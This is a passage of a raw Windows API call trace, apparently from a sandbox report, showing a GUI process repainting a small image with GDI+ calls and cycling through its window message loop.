0x1e7b48a0 [0166.973] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0166.974] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0166.974] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.974] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0166.974] GdipCreateRegion (region=0x15dc20) returned 0x0 [0166.974] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0166.974] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0166.974] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0166.974] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0166.974] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0166.974] GetSystemMetrics (nIndex=42) returned 0 [0166.975] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0166.975] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0166.975] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0166.975] CoTaskMemFree (pv=0x1e91eca0) [0166.975] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0166.975] GdipCreateRegion (region=0x15d710) returned 0x0 [0166.975] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0166.975] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0166.975] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0166.975] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0166.975] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0166.975] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0166.976] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0166.976] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0166.976] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0166.976] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0166.977] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0166.977] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.977] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0166.977] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0166.977] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0166.977] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0166.977] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.977] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0166.977] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0166.978] GetCurrentObject (hdc=0x440106c6, type=0x1) returned 0x1b00017 [0166.978] GetCurrentObject (hdc=0x440106c6, type=0x2) returned 0x1900010 [0166.978] GetCurrentObject (hdc=0x440106c6, type=0x7) returned 0x1a05067e [0166.978] GetCurrentObject (hdc=0x440106c6, type=0x6) returned 0x18a002e [0166.978] SaveDC (hdc=0x440106c6) returned 1 [0166.978] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x5040b8a [0166.978] GetClipRgn (hdc=0x440106c6, hrgn=0x5040b8a) returned 0 [0166.978] SelectClipRgn (hdc=0x440106c6, hrgn=0x350407c3) returned 2 [0166.978] DeleteObject (ho=0x5040b8a) returned 1 [0166.978] DeleteObject (ho=0x350407c3) returned 1 [0166.979] OffsetViewportOrgEx (in: hdc=0x440106c6, x=0, y=0, lppt=0x2731428 | out: lppt=0x2731428) returned 1 [0166.979] GetNearestColor (hdc=0x440106c6, color=0xffffff) returned 0xffffff [0166.979] CreateSolidBrush (color=0xffffff) returned 0xd100190 [0166.979] FillRect (hDC=0x440106c6, lprc=0x15d7c0, hbr=0xd100190) returned 1 [0166.979] DeleteObject (ho=0xd100190) returned 1 [0166.979] RestoreDC (hdc=0x440106c6, nSavedDC=-1) returned 1 [0166.979] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.980] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x440106c6) returned 0x0 [0166.980] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbcc0dbd) returned 0x0 [0166.980] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.982] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0166.982] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0166.982] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0166.982] GetSystemMetrics (nIndex=42) returned 0 [0166.982] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0166.982] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0166.982] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0166.983] CoTaskMemFree (pv=0x1e91eca0) [0166.983] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x4) returned 0x0 [0166.984] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0166.985] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0166.985] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0166.985] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0166.985] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x440106c6, x1=0, y1=0, rop=0xcc0020) returned 1 [0166.985] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.985] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x440106c6) returned 0x0 [0166.985] SelectObject (hdc=0x440106c6, h=0x185000f) returned 0x1a05067e [0166.985] DeleteDC (hdc=0x440106c6) returned 1 [0166.985] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0166.985] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0166.986] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0166.986] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0166.986] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0166.986] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0166.986] WaitMessage () returned 1 [0166.991] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0166.991] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1070356) returned 0x2 [0166.992] IsWindowUnicode (hWnd=0x702f6) returned 1 [0166.992] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0166.992] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1070356) returned 0x2 [0166.992] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x20, wParam=0x702f6, lParam=0x2000002) returned 0x0 [0166.992] TranslateMessage (lpMsg=0x15e910) returned 0 [0166.992] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0166.992] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xa0, wParam=0x2, lParam=0x1070356) returned 0x0 [0166.993] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0166.993] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0166.993] WaitMessage () returned 1 [0167.033] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0167.033] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1110356) returned 0x2 [0167.034] IsWindowUnicode (hWnd=0x702f6) returned 1 [0167.034] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0167.034] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1110356) returned 0x2 [0167.034] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x20, wParam=0x702f6, lParam=0x2000002) returned 0x0 [0167.034] TranslateMessage (lpMsg=0x15e910) returned 0 [0167.034] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0167.034] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xa0, wParam=0x2, lParam=0x1110356) returned 0x0 [0167.034] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.034] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.034] WaitMessage () returned 1 [0167.086] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0167.086] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x11b0356) returned 0x12 [0167.088] IsWindowUnicode (hWnd=0x702f6) returned 1 [0167.088] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0167.088] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x11b0356) returned 0x12 [0167.088] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x20, wParam=0x702f6, lParam=0x2000012) returned 0x0 [0167.088] TranslateMessage (lpMsg=0x15e910) returned 0 [0167.088] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0167.088] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xa0, wParam=0x12, lParam=0x11b0356) returned 0x0 [0167.088] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.088] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.088] WaitMessage () returned 1 [0167.170] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0167.170] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1250356) returned 0x12 [0167.170] IsWindowUnicode (hWnd=0x702f6) returned 1 [0167.170] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0167.171] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1250356) returned 0x12 [0167.171] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x20, wParam=0x702f6, lParam=0x2000012) returned 0x0 [0167.171] TranslateMessage (lpMsg=0x15e910) returned 0 [0167.171] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0167.171] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xa0, wParam=0x12, lParam=0x1250356) returned 0x0 [0167.171] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.171] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.171] WaitMessage () returned 1 [0167.191] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0167.191] IsWindowUnicode (hWnd=0x2031e) returned 1 [0167.191] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0167.191] TranslateMessage (lpMsg=0x15e910) returned 0 [0167.191] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0167.191] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0167.191] GetCurrentThreadId () returned 0xec0 [0167.191] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0167.191] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0167.191] IsWindowUnicode (hWnd=0x2031e) returned 1 [0167.191] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0167.191] TranslateMessage (lpMsg=0x15e910) returned 0 [0167.191] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0167.192] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0167.192] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0167.192] CreateCompatibleDC (hdc=0x1010b9d) returned 0x460106c6 [0167.192] SelectObject (hdc=0x460106c6, h=0x1a05067e) returned 0x185000f [0167.192] GdipCreateFromHDC (hdc=0x460106c6, graphics=0x15daf0) returned 0x0 [0167.193] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0167.193] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0167.193] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0167.193] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0167.193] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0167.193] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0167.193] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0167.194] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0167.194] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.194] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0167.194] GdipCreateRegion (region=0x15dc20) returned 0x0 [0167.194] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0167.194] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0167.194] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0167.194] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0167.194] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0167.194] GetSystemMetrics (nIndex=42) returned 0 [0167.194] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0167.194] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0167.194] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0167.195] CoTaskMemFree (pv=0x1e91eca0) [0167.195] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0167.195] GdipCreateRegion (region=0x15d710) returned 0x0 [0167.195] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0167.195] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0167.195] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0167.195] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0167.195] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0167.195] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0167.196] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0167.196] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0167.196] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0167.196] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0167.196] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0167.197] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.197] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0167.197] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0167.197] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0167.197] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0167.197] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.197] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0167.197] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0167.197] GetCurrentObject (hdc=0x460106c6, type=0x1) returned 0x1b00017 [0167.197] GetCurrentObject (hdc=0x460106c6, type=0x2) returned 0x1900010 [0167.197] GetCurrentObject (hdc=0x460106c6, type=0x7) returned 0x1a05067e [0167.197] GetCurrentObject (hdc=0x460106c6, type=0x6) returned 0x18a002e [0167.197] SaveDC (hdc=0x460106c6) returned 1 [0167.198] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x360407c3 [0167.198] GetClipRgn (hdc=0x460106c6, hrgn=0x360407c3) returned 0 [0167.198] SelectClipRgn (hdc=0x460106c6, hrgn=0x6040b8a) returned 2 [0167.198] DeleteObject (ho=0x360407c3) returned 1 [0167.198] DeleteObject (ho=0x6040b8a) returned 1 [0167.198] OffsetViewportOrgEx (in: hdc=0x460106c6, x=0, y=0, lppt=0x2732800 | out: lppt=0x2732800) returned 1 [0167.199] GetNearestColor (hdc=0x460106c6, color=0xffffff) returned 0xffffff [0167.199] CreateSolidBrush (color=0xffffff) returned 0xe100190 [0167.199] FillRect (hDC=0x460106c6, lprc=0x15d7c0, hbr=0xe100190) returned 1 [0167.199] DeleteObject (ho=0xe100190) returned 1 [0167.199] RestoreDC (hdc=0x460106c6, nSavedDC=-1) returned 1 [0167.199] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.199] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x460106c6) returned 0x0 [0167.199] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbca0dbd) returned 0x0 [0167.200] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.200] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0167.200] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0167.200] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0167.200] GetSystemMetrics (nIndex=42) returned 0 [0167.200] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0167.200] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0167.200] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0167.200] CoTaskMemFree (pv=0x1e91eca0) [0167.200] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0167.200] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0167.200] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0167.200] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0167.201] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x460106c6, x1=0, y1=0, rop=0xcc0020) returned 1 [0167.201] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.201] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x460106c6) returned 0x0 [0167.201] SelectObject (hdc=0x460106c6, h=0x185000f) returned 0x1a05067e [0167.201] DeleteDC (hdc=0x460106c6) returned 1 [0167.201] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.201] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0167.201] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0167.201] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0167.201] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.202] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.202] WaitMessage () returned 1 [0167.236] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0167.236] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x12f0356) returned 0x12 [0167.236] IsWindowUnicode (hWnd=0x702f6) returned 1 [0167.236] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0167.236] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x12f0356) returned 0x12 [0167.236] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x20, wParam=0x702f6, lParam=0x2000012) returned 0x0 [0167.236] TranslateMessage (lpMsg=0x15e910) returned 0 [0167.236] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0167.237] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xa0, wParam=0x12, lParam=0x12f0356) returned 0x0 [0167.237] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.237] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.237] WaitMessage () returned 1 [0167.279] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0167.279] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1390356) returned 0x12 [0167.279] IsWindowUnicode (hWnd=0x702f6) returned 1 [0167.279] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0167.279] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1390356) returned 0x12 [0167.280] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x20, wParam=0x702f6, lParam=0x2000012) returned 0x0 [0167.280] TranslateMessage (lpMsg=0x15e910) returned 0 [0167.280] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0167.280] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xa0, wParam=0x12, lParam=0x1390356) returned 0x0 [0167.280] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.280] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.280] WaitMessage () returned 1 [0167.331] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0167.331] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1430356) returned 0x12 [0167.331] IsWindowUnicode (hWnd=0x702f6) returned 1 [0167.331] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0167.331] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1430356) returned 0x12 [0167.331] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x20, wParam=0x702f6, lParam=0x2000012) returned 0x0 [0167.331] TranslateMessage (lpMsg=0x15e910) returned 0 [0167.331] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0167.331] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xa0, wParam=0x12, lParam=0x1430356) returned 0x0 [0167.331] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.332] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.332] WaitMessage () returned 1 [0167.361] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0167.361] IsWindowUnicode (hWnd=0x2031e) returned 1 [0167.361] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0167.361] TranslateMessage (lpMsg=0x15e910) returned 0 [0167.361] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0167.361] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0167.361] GetCurrentThreadId () returned 0xec0 [0167.361] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0167.361] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) 